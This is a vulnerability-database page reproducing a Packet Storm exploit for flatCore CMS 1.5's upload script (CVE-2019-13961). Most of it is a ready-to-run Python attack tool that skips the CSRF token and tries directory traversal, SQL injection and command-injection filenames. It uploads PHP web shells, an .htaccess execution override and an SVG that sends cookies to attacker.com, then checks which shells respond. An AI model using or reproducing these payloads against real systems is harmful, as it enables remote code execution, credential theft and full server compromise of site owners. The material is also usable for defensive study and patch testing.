Lucene search
K

📄 flatCore 1.5 Shell Upload

🗓️ 15 Dec 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 172 Views

flatCore 1.5 upload exploit enables cross site forgery bypass and unrestricted file upload for execution.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2019-13961
12 Apr 202521:02
circl
CNVD
flatCore Cross-Site Request Forgery Vulnerability (CNVD-2019-23756)
19 Jul 201900:00
cnvd
CVE
CVE-2019-13961
18 Jul 201919:16
cve
Cvelist
CVE-2019-13961
18 Jul 201919:16
cvelist
Exploit DB
flatCore 1.5 - Cross Site Request Forgery (CSRF)
11 Apr 202500:00
exploitdb
EUVD
EUVD-2019-5227
7 Oct 202500:30
euvd
NVD
CVE-2019-13961
18 Jul 201920:15
nvd
Packet Storm
📄 flatCore Cross Site Request Forgery
11 Apr 202500:00
packetstorm
Prion
Cross site request forgery (csrf)
18 Jul 201920:15
prion
RedhatCVE
CVE-2019-13961
22 May 202510:05
redhatcve
Rows per page
=============================================================================================================================================
    | # Title     : flatCore 1.5 Advanced File Upload Exploit                                                                                   |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://github.com/flatCore/flatCore-CMS/blob/main/acp/core/files.upload-script.php                                         |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/190428/ &	CVE-2019-13961
    
    [+] Summary :  The upload script contains multiple critical vulnerabilities that can be chained together for complete system compromise. 
                   The most urgent issues are the CSRF bypass and unrestricted file upload, which allow unauthenticated attackers to upload PHP shells and execute arbitrary code.
    
    		  
    [+]  POC : python poc.py
    
    #!/usr/bin/env python3
    
    import requests
    import sys
    import time
    import random
    import string
    import os
    from concurrent.futures import ThreadPoolExecutor
    
    class FileUploadExploit:
        def __init__(self, target_url, session_cookie):
            self.target_url = target_url
            self.session_cookie = session_cookie
            self.headers = {
                'Cookie': f'PHPSESSID={session_cookie}',
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            }
            self.successful_payloads = []
            
        def generate_random_string(self, length=8):
            """Generate random string for filenames"""
            return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
        
        def test_csrf_bypass(self):
            """Test CSRF token bypass by omitting token"""
            print("\n[+] Testing CSRF Token Bypass...")
            
            files = {
                'file': ('test.txt', 'CSRF test content', 'text/plain')
            }
            
            data = {
                'upload_destination': 'images',
                'upload_type': 'images',
                'unchanged': 'yes'
                # No csrf_token parameter
            }
            
            try:
                response = requests.post(
                    self.target_url,
                    headers=self.headers,
                    files=files,
                    data=data,
                    timeout=15,
                    allow_redirects=False
                )
                
                if response.status_code == 200:
                    print("[✓] CSRF bypass successful (no token required)")
                    return True
                else:
                    print(f"[-] CSRF check may be active: {response.status_code}")
                    return False
                    
            except Exception as e:
                print(f"[-] Error testing CSRF: {e}")
                return False
        
        def directory_traversal_attack(self):
            """Test directory traversal in upload_destination parameter"""
            print("\n[+] Testing Directory Traversal...")
            
            traversal_payloads = [
                '../../../index.php',
                '../../../../etc/passwd',
                '../../../../../../../var/www/html',
                '..\\..\\..\\windows\\win.ini',
                '../' * 20 + 'etc/passwd',
                'images/../../../../tmp',
                '/absolute/path/to/target'
            ]
            
            vulnerable = False
            
            for payload in traversal_payloads:
                print(f"  Testing: {payload[:50]}...")
                
                files = {
                    'file': ('traversal.txt', f'Traversal test: {payload}', 'text/plain')
                }
                
                data = {
                    'upload_destination': payload,
                    'upload_type': 'files',
                    'unchanged': 'yes',
                    'file_mode': 'overwrite'
                }
                
                try:
                    response = requests.post(
                        self.target_url,
                        headers=self.headers,
                        files=files,
                        data=data,
                        timeout=10
                    )
                    
                    # Check for unusual success
                    if response.status_code == 200 and len(response.content) < 500:
                        print(f"[✓] Possible traversal: {payload}")
                        vulnerable = True
                        
                except requests.exceptions.Timeout:
                    print(f"  [!] Timeout with payload: {payload}")
                except Exception as e:
                    pass
            
            return vulnerable
        
        def upload_web_shells(self):
            """Upload various web shell types with different bypass techniques"""
            print("\n[+] Uploading Web Shells...")
            
            shells = [
                # Basic PHP shell
                {
                    'name': 'shell.php',
                    'content': """<?php
    if(isset($_GET['cmd'])) {
        system($_GET['cmd']);
    }
    if(isset($_POST['cmd'])) {
        system($_POST['cmd']);
    }
    echo "Web Shell Active";
    ?>""",
                    'mime': 'text/php'
                },
                
                # Double extension
                {
                    'name': 'shell.php.jpg',
                    'content': """GIF89a
    <?php
    if(isset($_REQUEST['pass'])) {
        eval($_REQUEST['pass']);
    }
    ?>""",
                    'mime': 'image/jpeg'
                },
                
                # SVG with PHP
                {
                    'name': 'malicious.svg',
                    'content': """<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    <svg version="1.1" xmlns="http://www.w3.org/2000/svg">
    <!--<?php echo shell_exec($_GET['c']); ?>-->
    <rect width="300" height="100" style="fill:rgb(0,0,255);" />
    <script>document.location='http://attacker.com/steal?c='+document.cookie;</script>
    </svg>""",
                    'mime': 'image/svg+xml'
                },
                
                # .htaccess to allow PHP execution
                {
                    'name': '.htaccess',
                    'content': """AddType application/x-httpd-php .jpg .png .gif
    <FilesMatch "\.(jpg|png|gif)$">
    SetHandler application/x-httpd-php
    </FilesMatch>""",
                    'mime': 'text/plain'
                },
                
                # PHP with null bytes (if PHP version < 5.3.4)
                {
                    'name': 'shell.php%00.jpg',
                    'content': '<?php phpinfo(); ?>',
                    'mime': 'image/jpeg'
                }
            ]
            
            uploaded = []
            
            for shell in shells:
                print(f"  Attempting: {shell['name']}")
                
                files = {
                    'file': (shell['name'], shell['content'], shell['mime'])
                }
                
                # Try different upload parameters
                upload_params = [
                    {
                        'upload_destination': 'images',
                        'upload_type': 'images',
                        'unchanged': 'yes',
                        'file_mode': 'overwrite'
                    },
                    {
                        'upload_destination': 'files',
                        'upload_type': 'files',
                        'unchanged': 'yes',
                        'file_mode': 'overwrite'
                    }
                ]
                
                for params in upload_params:
                    try:
                        response = requests.post(
                            self.target_url,
                            headers=self.headers,
                            files=files,
                            data=params,
                            timeout=15
                        )
                        
                        if response.status_code == 200:
                            print(f"[✓] Uploaded: {shell['name']}")
                            uploaded.append({
                                'filename': shell['name'],
                                'params': params
                            })
                            break
                            
                    except Exception as e:
                        print(f"  [-] Error: {e}")
            
            return uploaded
        
        def test_sql_injection(self):
            """Test SQL injection via filename or other parameters"""
            print("\n[+] Testing SQL Injection...")
            
            sql_payloads = [
                # Time-based SQLi
                "test' AND SLEEP(5)--.jpg",
                "test' OR BENCHMARK(5000000,MD5('test'))--.jpg",
                
                # Error-based SQLi
                "test' AND ExtractValue(1,CONCAT(0x5c,USER()))--.jpg",
                
                # Union-based (if we can see output)
                "test' UNION SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php'--.jpg"
            ]
            
            for payload in sql_payloads:
                print(f"  Testing: {payload}")
                
                files = {
                    'file': (payload, 'SQLi test', 'image/jpeg')
                }
                
                data = {
                    'upload_destination': 'images',
                    'upload_type': 'images',
                    'unchanged': 'yes'
                }
                
                try:
                    start_time = time.time()
                    response = requests.post(
                        self.target_url,
                        headers=self.headers,
                        files=files,
                        data=data,
                        timeout=30
                    )
                    elapsed = time.time() - start_time
                    
                    if elapsed > 5:
                        print(f"[✓] Time-based SQLi possible: {elapsed:.2f}s delay")
                        return True
                        
                    if "SQL" in response.text or "syntax" in response.text.lower():
                        print("[✓] Error-based SQLi detected")
                        return True
                        
                except requests.exceptions.Timeout:
                    print("[✓] Timeout - SQL injection successful")
                    return True
                except Exception:
                    pass
            
            return False
        
        def test_path_manipulation(self):
            """Test path manipulation in filename cleaning function"""
            print("\n[+] Testing Path Manipulation...")
            
            malicious_filenames = [
                "../../../shell.php",
                "....php",  # Becomes .php after cleaning
                "shell.php.",
                "shell.php ",
                "shell.php%0d%0a.jpg",
                ";ls -la;.jpg",
                "$(whoami).jpg"
            ]
            
            for filename in malicious_filenames:
                print(f"  Testing filename: {filename}")
                
                files = {
                    'file': (filename, 'test', 'text/plain')
                }
                
                data = {
                    'upload_destination': 'files',
                    'upload_type': 'files',
                    'unchanged': 'yes'
                }
                
                try:
                    response = requests.post(
                        self.target_url,
                        headers=self.headers,
                        files=files,
                        data=data,
                        timeout=10
                    )
                    
                    if response.status_code == 200:
                        print(f"[✓] Accepted filename: {filename}")
                        
                except Exception:
                    pass
        
        def test_file_size_limit_bypass(self):
            """Test file size limit bypass"""
            print("\n[+] Testing File Size Limit Bypass...")
            
            # Create a large file
            large_content = "A" * (1024 * 1024 * 100)  # 100MB
            
            files = {
                'file': ('large_file.txt', large_content, 'text/plain')
            }
            
            data = {
                'upload_destination': 'files',
                'upload_type': 'files',
                'unchanged': 'yes',
                'fz': '999999999'  # Set huge file size limit
            }
            
            try:
                print("  Uploading 100MB file...")
                response = requests.post(
                    self.target_url,
                    headers=self.headers,
                    files=files,
                    data=data,
                    timeout=60
                )
                
                if response.status_code == 200:
                    print("[✓] Large file upload possible")
                    return True
                    
            except Exception as e:
                print(f"  [-] Error: {e}")
            
            return False
        
        def brute_force_upload_locations(self):
            """Brute force potential upload locations"""
            print("\n[+] Brute Forcing Upload Locations...")
            
            common_locations = [
                'images',
                'files',
                'uploads',
                'upload',
                'media',
                'content',
                'img',
                'pictures',
                'docs',
                'assets',
                'tmp',
                'temp',
                'cache'
            ]
            
            found_locations = []
            
            for location in common_locations:
                files = {
                    'file': ('test.txt', 'test', 'text/plain')
                }
                
                data = {
                    'upload_destination': location,
                    'upload_type': 'files',
                    'unchanged': 'yes'
                }
                
                try:
                    response = requests.post(
                        self.target_url,
                        headers=self.headers,
                        files=files,
                        data=data,
                        timeout=10
                    )
                    
                    if response.status_code == 200:
                        print(f"[✓] Found location: {location}")
                        found_locations.append(location)
                        
                except Exception:
                    pass
            
            return found_locations
        
        def verify_shell_access(self, uploaded_shells, base_url):
            """Verify if uploaded shells are accessible"""
            print("\n[+] Verifying Shell Access...")
            
            accessible = []
            
            # Try common paths
            test_paths = [
                f"{base_url}/content/images/",
                f"{base_url}/content/files/",
                f"{base_url}/images/",
                f"{base_url}/files/",
                f"{base_url}/uploads/",
                f"{base_url}/../content/images/"
            ]
            
            for shell in uploaded_shells:
                for path in test_paths:
                    shell_url = f"{path}{shell['filename']}"
                    
                    try:
                        # Test PHP shell
                        if shell['filename'].endswith('.php'):
                            test_url = f"{shell_url}?cmd=echo+SUCCESS"
                            response = requests.get(test_url, timeout=10)
                            
                            if "SUCCESS" in response.text or "Web Shell Active" in response.text:
                                print(f"[✓] Shell accessible: {shell_url}")
                                accessible.append(shell_url)
                                break
                        
                        # Test file existence
                        else:
                            response = requests.head(shell_url, timeout=10)
                            if response.status_code == 200:
                                print(f"[✓] File accessible: {shell_url}")
                                accessible.append(shell_url)
                                break
                                
                    except Exception:
                        pass
            
            return accessible
        
        def run_full_exploit(self):
            """Run all exploitation techniques"""
            print(f"[*] Starting comprehensive attack on: {self.target_url}")
            print(f"[*] Using session cookie: {self.session_cookie[:20]}...\n")
            
            results = {
                'csrf_bypass': False,
                'directory_traversal': False,
                'sql_injection': False,
                'file_size_bypass': False,
                'uploaded_shells': [],
                'found_locations': [],
                'accessible_shells': []
            }
            
            # Run tests
            results['csrf_bypass'] = self.test_csrf_bypass()
            results['directory_traversal'] = self.directory_traversal_attack()
            results['sql_injection'] = self.test_sql_injection()
            results['file_size_bypass'] = self.test_file_size_limit_bypass()
            results['found_locations'] = self.brute_force_upload_locations()
            self.test_path_manipulation()
            
            # Upload shells
            results['uploaded_shells'] = self.upload_web_shells()
            
            # Extract base URL for verification
            base_url = self.target_url[:self.target_url.rfind('/')]
            base_url = base_url[:base_url.rfind('/')]
            
            # Verify access
            results['accessible_shells'] = self.verify_shell_access(
                results['uploaded_shells'], 
                base_url
            )
            
            # Print summary
            print("\n" + "="*60)
            print("[+] EXPLOITATION SUMMARY")
            print("="*60)
            
            for key, value in results.items():
                if isinstance(value, list):
                    print(f"{key.replace('_', ' ').title()}: {len(value)} found")
                    if value and key in ['uploaded_shells', 'accessible_shells']:
                        for item in value[:3]:  # Show first 3
                            print(f"  - {item}")
                else:
                    status = "✓" if value else "✗"
                    print(f"{status} {key.replace('_', ' ').title()}")
            
            print("\n[+] Recommended next steps:")
            if results['accessible_shells']:
                print("  1. Execute commands via: shell.php?cmd=whoami")
                print("  2. Upload more advanced reverse shell")
                print("  3. Explore file system: ?cmd=ls+-la")
            else:
                print("  1. Try different upload parameters")
                print("  2. Check server logs for errors")
                print("  3. Use directory traversal to find upload location")
            
            return results
    
    def main():
        if len(sys.argv) < 3:
            print("Usage: python exploit.py <target_url> <session_cookie>")
            print("Example: python exploit.py http://target.com/admin/upload.php abc123session456")
            sys.exit(1)
        
        target_url = sys.argv[1]
        session_cookie = sys.argv[2]
        
        exploit = FileUploadExploit(target_url, session_cookie)
        results = exploit.run_full_exploit()
        
        # Save results to file
        with open('exploit_results.txt', 'w') as f:
            import json
            f.write(json.dumps(results, indent=2))
        
        print("\n[*] Results saved to exploit_results.txt")
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Dec 2025 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 26.8
CVSS 38.8
EPSS0.00484
172